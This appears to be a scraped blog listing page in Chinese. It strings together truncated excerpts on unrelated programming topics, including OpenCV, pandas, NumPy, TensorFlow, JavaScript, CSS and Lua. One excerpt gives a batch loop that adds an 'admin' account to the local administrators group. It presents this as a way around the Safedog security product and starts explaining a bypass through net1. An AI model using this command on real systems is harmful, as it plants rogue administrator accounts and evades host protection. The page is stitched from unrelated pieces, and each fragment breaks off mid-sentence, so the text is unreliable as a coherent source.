OpenCV-MAT对象中使用plt.imshow(img[:,:,::-1])如何实现将第二轴反向? 系统平台:win10 x64 一.明确几个概念: 1.OpenCV内部每个通道并没有固定对应某种颜色,只是在用imshow().imread().imwrite()等函数时,才将通道按照蓝.绿.红的顺序进行输入和输出: 2.我们也可以使用matplotlib的imshow()绘制图像,但是它要求图像的三个通道的存储顺序为RGB: 即OpenCV读进来的图像,通道顺序为BGR, 而matplot

Description Let S = s1 s2...s2n be a well-formed string of parentheses. S can be encoded in two different ways: q By an integer sequence P = p1 p2...pn where pi is the number of left parentheses before the ith right parenthesis in S (P-sequence). q B

# python 函数的链式调用 def funcA(a): def funcB(b): for a_each in a: x = funcB(a_each) return x return funcB print(funcA(3)(5)) # 等价于 func = funcA(3) print(func(5)) # 总结: ''' 函数的返回值是一个函数 一般而言,调用一个函数是加一个括号.如果看见括号后还有一个括号,说明第一个函数返回了一个函数,如果后面还有括号,说明前面那个也返回了一个函数

import java.util.*; class test2{ public static void main(String[] args){ List<Integer> objList1 = new ArrayList<Integer>(); List<Integer> objList2 = new ArrayList<Integer>(); List<Integer> objList3 = new ArrayList<Integer&

1.循环加组复现 for /l %%i in (1,1,1000) do @net user admin admin /add&@ net localgroup administrators admin /add 这曾经是安全狗最早爆出的安全狗漏洞 但是安全狗很快的在之后的版本修复了 上月某非盈利安全研究小组研究人员发现其实安全狗只是阻截了系统的net/net1执行  同时把你net放到别的目录就算有执行权限你也无法执行  因为他是一棒子打死  但是可以突破执行net1   (没图说个jb) 正

将鱼图像数据进行操作,使用numpy知识 import numpy as np import matplotlib.pyplot as plt %matplotlib inline #咱们可以不用show方法,嵌套代码里面 fish = plt.imread('./fish.png') plt.imshow(fish) <matplotlib.image.AxesImage at 0x8e231d0> fish.shape (243, 326, 3) #把图片变成灰色的 fish1 = fis

参考 http://jingyan.baidu.com/article/c45ad29c310734051753e20d.html 在插入参考文献引用的尾注时,默认为上标数据且没有中括号.现在要统一加[].用替换方式,字体——格式——上标.查找^e,替换成[^&] 但是我们平常比较常用[1]这种形式,因此我们可以使用替换的方法批量修改 当论文完成之后,在键盘上同时按下CTRL+H 打开替换窗口   在窗口中按图中的内容输入 尤其注意替换内容的输入 不要忘记两个中括号 然后点击更多 5 在左下角选

一.概念 Series相当于一维数组. 1.调用Series的原生方法创建 import pandas as pd s1 = pd.Series(data=[1,2,4,6,7],index=['a','b','c','d','e'])# index表示索引 print(s1['a']) print(s1[0]) print(s1[:3])# 在Series中切片是一个闭合区间表示Series中0-3的元素 print(s1['a':'d']) # 范围是一个闭合 print(s1[['a','

[Numpy] 先感叹下最近挖坑越来越多了.. 最近想不自量力地挑战下ML甚至DL.然而我也知道对于我这种半路出家,大学数学也只学了两个学期,只学了点最基本的高数还都忘光了的渣滓来说,难度估计有点大..总之尽力而为吧.在正式接触ML的算法之前,Numpy是一个必须知道的Python库.其中有很多关于线代的类和方法可以直接用. 当然Numpy不是内建的库,但是pip install numpy一下也很简单. ■ 方法罗列 我也不知道怎么开始写好,按书上的教程,罗列下提到的方法吧..书上代码一个大前

目录 三.TensorFlow入门 1. TensorFlow计算模型--计算图 I. 计算图的概念 II. 计算图的使用 2.TensorFlow数据类型--张量 I. 张量的概念 II. 张量的使用 3.会话 4.TensorFlow实现神经网络 I. 前向传播算法 II. 神经网络参数与TensorFlow变量 III. 用TF训练神经网络 四.深层神经网络 1. 深度学习与深度神经网络 I. 线性模型的局限性 II. Activation去线性化 III. 多层网络解决异或运算 2. L

上一节我们已经对 Dataframe 的概念做了一个简单的介绍, 这一节将具体看下它的一些基本用法: 首先, 准备一个 excel 文件, 大致内容如下, 并保存成 .csv 格式. 然后, 在 jupyter notebook 里执行如下代码: #引入 pandas 模型 import pandas as pd # 读取 csv 文件 df = pd.read_csv('weather_data.csv') # 打印 df 在 jupyter notebook 里的表现形式大概如下:就这么简单

一 .ipython的简单使用 IPython:交互式的Python命令行 丰富的快捷键 TAB键自动完成 ?:内省.命名空间搜索 !:执行系统命令 魔术命令:以%开始的命令 %run:执行文件代码 %paste:执行剪贴板代码 %timeit:评估运行时间 %pdb:自动调试 使用命令历史 获取输入输出结果 目录标签系统 IPython Notebook jupyter notebook 在cmd上安装jupyter  然后运行 jupyter notebook 即可 NumPy模块:数组计算

py2.7 : <机器学习实战> k-近邻算法 11.19 更新完毕 原文链接 <机器学习实战>第二章k-近邻算法,自己实现时遇到的问题,以及解决方法.做个记录. 1.写一个kNN.py保存了之后,需要重新导入这个kNN模块.报错:no module named kNN. 解决方法:1.将.py文件放到 site_packages 目录下            2.在调用文件中添加sys.path.append("模块文件目录"):import sys sys.

原文链接: JavaScript engine fundamentals:Shapes and line Cahes 这篇文章描述了一些在js引擎中通用的关键点, 并不只是V8, 这个引擎的作者(Benedikt和Mathias)开发的. 作为一名JavaScript的开发者, 需要较深的理解JavaScript引擎是如何工作的, 那可以帮助你更改的冲原理层面提高你代码的性能. JavaScript 引擎管道 这是你写出所有JS代码的开始. JS引擎会格式化你的代码, 并他们转成抽象语法树(AS

本文总结了使用Python进行机器视觉(图像处理)编程时常用的数据结构,主要包括以下内容: 数据结构 通用序列操作:索引(indexing).分片(slicing).加(adding).乘(multipying)等 列表:创建.list函数.基本操作:赋值.删除.分片赋值.插入.排序等 元组:创建.tuple函数.基本操作 NumPy数组:创建数组.创建图像.获取形状.维度.元素个数.元素类型.访问像素.通道分离.使用mask 原文与更新地址:blog.csdn.net/iracer/artic

我们构想有一个神经网络,输入为两个input,中间有一个hidden layer,这个hiddenlayer当中有三个神经元,最后有一个output. 图例如下: 在实现这个神经网络的前向传播之前,我们先补充一下重要的知识. 一.权重w以及input的初始化 我们初始化权重w的方法为随机生成这些权重,一般可以使用这些随机生成的数据正好在正态分布的曲线上,这也是最符合生成符合自然规律的随机数生成方法: import tensorflow as tf #一般情况下神经网络上的参数是w的数列,当然我们

今日内容概要 目标:将Pandas尽量结束 如何读取外部excel文件数据到DataFrame中 针对DataFrame的常用数据操作 索引与切片 操作DataFrame的字段名称 时间对象序列操作 数据分组与聚合 练习题 今日内容详细 如何读取外部excel文件数据到DataFrame中 df = pd.read_csv('douban_movie.csv') # 由于当前文件跟excel文件在同一个目录下所以可以直接写文件名 # 如果不在同一个路径下 那么需要输入excel文件的绝对路径 #

js复习-01---03 一 JS简介 1,文档对象模型 2,浏览器对象模型 二 在HTML中使用JS 1,在html中使用<script></script>标签 2,引入外部JS文件 三,JS基本概念 1,ECMAScript中的一切(变量,函数名,操作符)都区分大小写,函数名不能用关键字 2,ECMAScript变量是松散型的,松散型:可以用来保存任何值 3,全局变量和局部变量(var) 4,数据类型:ECMAScript有5种简单的数据类型(基本数据类型):undefined

学习要点: 1.选择器总汇 2.基本选择器 3.复合选择器 4.伪元素选择器 主讲教师:李炎恢 本章主要探讨 HTML5 中 CSS 选择器,通过选择器定位到想要设置样式的元素.目前 CSS 选择器的版本已经升级至第三代,即 CSS3 选择器.CSS3 选择器提供了更多.更丰富的选择器方式,主要分为三大类. 一．选择器总汇 本节课主要涉及到三种选择器:基本选择器.复合选择器和伪元素选择器,具体如下: 选择器 名称 说明 CSS 版本 * 通用选择器 选择所有元素 2 <type> 元素选择器

catalog . Lua语言简介 . 使用 Lua 编写可嵌入式脚本 . VS2010编译Lua . 嵌入和扩展: C/C++中执行Lua脚本 . 将C++函数导出到Lua引擎中: 在Lua脚本中执行C++函数 . 将C函数导出到Lua引擎中: 在Lua脚本中执行C函数 . C++ Function Library For Lua . Lua.Python嵌入式语言引擎的优缺点对比 1. Lua语言简介 0x1: 运行 Lua是类C的,所以,他是大小写字符敏感的,同时,Lua脚本的语句的分号是

在讲到Obeject.defineProperty()方法之前先得说明一下ECMAScript中有两种属性:数据属性和访问器属性. 两种属性存在的意义:描述对象属性(key)的一些特性,因为这些属性是内部值,一般放到 [[两个中括号]]  中. Object.defineProperty(obj , 'key' , {描述信息,是个对象,类似配置项} )  方法接收三个参数,属性所在的对象,属性名 和一个描述符对象. 数据属性的描述符是下面的一个或者多个(configurable.enumera